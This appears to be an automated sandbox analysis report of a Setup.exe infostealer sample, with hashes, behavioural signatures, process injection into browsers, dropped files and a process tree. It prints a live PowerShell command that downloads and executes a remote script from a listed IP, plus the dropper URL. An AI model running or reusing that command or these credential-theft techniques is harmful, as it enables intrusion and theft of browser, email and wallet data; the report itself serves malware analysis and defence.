Analysis
- max time kernel
103s - max time network
112s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20250619-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20250619-enlocale:en-usos:windows10-ltsc_2021-x64system - submitted
07/10/2025, 18:32
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win10v2004-20250502-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win10ltsc2021-20250619-en
12 signatures
150 seconds
General
- Target Setup.exe
- Size 395KB
- Sample251007-w6v3hsgn3z
- SHA256 26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d
- MD5 93a4e2b886e2815b6b732a2380b0f068
- SHA1 5cbfa13b74917aabbfb4d714c53afb1ac20b10e6
- SHA512 230cedc2543d05ac39693cf79d0a2e571f06c198f32a70449b9f36d76202debc53373864ec34cb95cc94d26a54803224a615535fa4826c81e4e519c64fdd1904
- SSDEEP 3072:MbtPTcKt1PbrCA4/dYbXurcxA84/LFtZdBsct:IdTz8h/Btu0
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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ps1.dropper
http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 53 5884 powershell.exe - Loads dropped DLL 1 IoCs
pid Process 4796 MicrosoftEdgeUpdate.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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pid Process 5884 powershell.exe - Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 4392 set thread context of 4796 4392 Setup.exe 89 PID 4796 set thread context of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 set thread context of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 set thread context of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 set thread context of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 set thread context of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 set thread context of 4944 4796 MicrosoftEdgeUpdate.exe 99 PID 4796 set thread context of 4708 4796 MicrosoftEdgeUpdate.exe 100 PID 4796 set thread context of 5652 4796 MicrosoftEdgeUpdate.exe 101 PID 4796 set thread context of 2132 4796 MicrosoftEdgeUpdate.exe 102 PID 4796 set thread context of 3952 4796 MicrosoftEdgeUpdate.exe 103 - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Setup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MicrosoftEdgeUpdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4392 Setup.exe 4392 Setup.exe 4392 Setup.exe 4392 Setup.exe 4392 Setup.exe 4392 Setup.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 4796 MicrosoftEdgeUpdate.exe 5884 powershell.exe 5884 powershell.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 4392 Setup.exe 4392 Setup.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5884 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4392 wrote to memory of 4796 4392 Setup.exe 89 PID 4392 wrote to memory of 4796 4392 Setup.exe 89 PID 4392 wrote to memory of 4796 4392 Setup.exe 89 PID 4392 wrote to memory of 4796 4392 Setup.exe 89 PID 4392 wrote to memory of 4796 4392 Setup.exe 89 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4796 wrote to memory of 4972 4796 MicrosoftEdgeUpdate.exe 92 PID 4972 wrote to memory of 4796 4972 chrome.exe 89 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4796 wrote to memory of 4892 4796 MicrosoftEdgeUpdate.exe 94 PID 4892 wrote to memory of 4796 4892 msedge.exe 89 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 1144 4796 MicrosoftEdgeUpdate.exe 96 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4352 4796 MicrosoftEdgeUpdate.exe 97 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98 PID 4796 wrote to memory of 4696 4796 MicrosoftEdgeUpdate.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exeC:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4972
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4892
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:1144
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵PID:4352
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:4696
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵PID:4944
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:4708
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵PID:5652
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- System Location Discovery: System Language Discovery
PID:2132
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- System Location Discovery: System Language Discovery
PID:3952
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1')"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5884
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:1976
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:2428
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\BB95BEB.tmp
- Size 1.2MB
- SHA256 19722f8de1b746404941ffa5cc96fa292b12affdef665c386b3998e7bbd11bb1
- MD5 58dc35551e25b72608ff13d85b4cde33
- SHA1 f2750a9ad591eeabf2abef4ca8ad7dee8e54f6fe
- SHA512 b849cd13a124f5713011d635b29c2024668ee6a7b1bbe509047ff389d33e086e8adcf4bbbe8a50a61276c38aeed7fe03585d874b31f49f88fec95cfc5a6c3ade
- SSDEEP 24576:bhXFEOqy+4P3x1ok5JrqXQ5oEcKNnAMMkbHe/AihYgX56YfnORwO8IB:do01ZJGQ5JnAYe9BnPa
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ED77C94.tmp
- Size 40B
- SHA256 457968d66c036f4fc7e0bd3af88b1e092e70122df9f326d659c88e559db3085a
- MD5 8a77a6877f181770019ad5771d99de23
- SHA1 092b432150ba4c0ce38c573d564993bc88efe866
- SHA512 3693e4a935c90d575a58afda5ae241e5adc912334e0262d08bae84d63f4adb73a43ad7d1c0fbe5c67fd13e04b9cf3b7d4e9cc2dcadf065712a5f887851b54ac4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
- Size 201KB
- SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
- MD5 41680b5d08d0f18ec731b58a73de4781
- SHA1 30eb01cd07f55adaca44edcdcfbc152148078669
- SHA512 f936c26a26c5268a142f56c7ca0277efea42404a405679ac23060085ffe96702871ec8d2e0db5534878a03948e99f9464cb8a9da20784f9b0308be9ad30891ce
- SSDEEP 3072:vHrfzYBc6X/YoW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEZ:GAel/DRfkTC3dM7B+mCL
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdr5shxm.24h.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512